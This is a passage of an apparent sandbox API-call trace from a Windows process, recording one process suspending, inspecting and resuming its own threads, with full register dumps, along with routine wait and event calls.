	[0276.890] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0276.890] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xec, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x1b4) returned 1
	[0276.890] SuspendThread (hThread=0x1b4) returned 0x0
	[0276.890] GetThreadContext (in: hThread=0x1b4, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x70705ffa98, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7fff4f8d5c64, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0276.967] ResumeThread (hThread=0x1b4) returned 0x1
	[0276.967] CloseHandle (hObject=0x1b4) returned 1
	[0276.967] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xf8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x1b4) returned 1
	[0276.968] SuspendThread (hThread=0x1b4) returned 0x0
	[0276.968] GetThreadContext (in: hThread=0x1b4, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00020fd60, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x11493cf, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0276.969] ResumeThread (hThread=0x1b4) returned 0x1
	[0276.969] CloseHandle (hObject=0x1b4) returned 1
	[0276.969] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0276.970] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0276.970] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xec, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x1ac) returned 1
	[0276.970] SwitchToThread () returned 1
	[0276.971] SuspendThread (hThread=0x1ac) returned 0x0
	[0276.971] GetThreadContext (in: hThread=0x1ac, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x70705ffa98, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7fff4f8d5c64, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0276.975] ResumeThread (hThread=0x1ac) returned 0x1
	[0276.975] CloseHandle (hObject=0x1ac) returned 1
	[0276.975] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0277.012] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0277.013] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0277.048] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0277.048] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xf8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x1b4) returned 1
	[0277.048] SuspendThread (hThread=0x1b4) returned 0x0
	[0277.048] GetThreadContext (in: hThread=0x1b4, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x70707ff218, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7fff4f8d5ef4, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0277.124] ResumeThread (hThread=0x1b4) returned 0x1
	[0277.124] CloseHandle (hObject=0x1b4) returned 1
	[0277.124] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0277.247] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x70701ff640, ulCount=0x10, ulNumEntriesRemoved=0x70701ff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x70701ff640, ulNumEntriesRemoved=0x70701ff618) returned 0
	[0277.248] SetEvent (hEvent=0xfc) returned 1
	[0277.248] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0277.294] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0277.329] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0277.365] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0277.365] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0x81) returned 0x102
	[0277.590] WaitForSingleObject (hHandle=0x124, dwMilliseconds=0xffffffff) returned 0x0
	[0277.590] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0277.591] SetEvent (hEvent=0x190) returned 1
	[0277.591] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0277.638] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0277.701] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0277.739] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0277.777] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0x10) returned 0x102
	[0277.813] WaitForSingleObject (hHandle=0x124, dwMilliseconds=0xffffffff) returned 0x0
	[0277.814] SetEvent (hEvent=0xd4) returned 1
	[0277.814] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0277.854] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0277.890] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0277.908] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0277.920] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0277.930] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0x18) returned 0x0
	[0277.953] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0277.962] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0277.970] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0277.980] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0277.998] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
